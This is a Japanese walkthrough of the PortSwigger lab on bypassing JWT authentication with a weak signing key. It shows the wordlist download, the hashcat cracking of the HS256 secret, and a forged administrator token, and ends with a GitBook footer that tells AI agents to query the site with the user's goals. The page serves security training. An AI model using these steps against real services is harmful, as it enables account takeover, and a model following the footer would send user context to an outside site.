> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).
# 弱い鍵を使ったJWT認証バイパス
弱い鍵を使ったJWT認証バイパスの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。
### 弱い署名鍵による JWT 認証バイパス
**ラボの説明**
このラボではJWTベースのセッション機構を使用しています。 / 使用される秘密鍵は **トークンの署名と検証に使われる秘密鍵の強度が非常に低く**、これにより **簡単に破られる** 一般的なシークレットの一覧を使って。
目的：
* サーバーが使用している秘密鍵を見つけます。\*この鍵で有効な JWT を偽造して、 `/admin` 管理パネルにアクセスします。
* ユーザーを削除 **carlos**.
提供された認証情報:/ `wiener:peter`
\*\* 回収された初期 JWT\*\*
{% code overflow="wrap" %}
```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```
{% endcode %}
使用されているアルゴリズムは **HS256**、したがって **対称アルゴリズム** であり、共有シークレットに基づいています。
**秘密鍵を総当たりで探索する**
一般的な JWT シークレットの一覧を使用します：
```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```
次に、以下を使って総当たり攻撃を開始します。 **hashcat**:
```bash
hashcat -a 0 jwt jwt.secrets.list
```
結果：
* 見つかった秘密鍵： **`secret1`**
**署名用の鍵の準備**
その **JWT Editor** 拡張機能は Base64 形式の鍵を待っています。
鍵のエンコード：
```bash
c2VjcmV0MQ==
```
JWT Editor で対称鍵を作成する：
```json
{
"kty": "oct",
"kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
"k": "c2VjcmV0MQ=="
}
```
キーID（`kid`）が生成され、その後トークンの署名に使用されます。
**JWT の改ざん**
* JWT を含むリクエストを傍受する。
* 次を変更する `sub` フィールド：
* `wiener` → `administrator`
見つかった秘密鍵でトークンを再署名する
最終的に偽造した JWT：
```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```
**結果**
* サーバーは弱い鍵で署名された JWT を受け入れます。
* へのアクセスに成功 `/admin` パネル。
* ユーザーは \*\*管理者\*\* と認識されます。
* ユーザーの削除後、ラボは検証されます **carlos**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)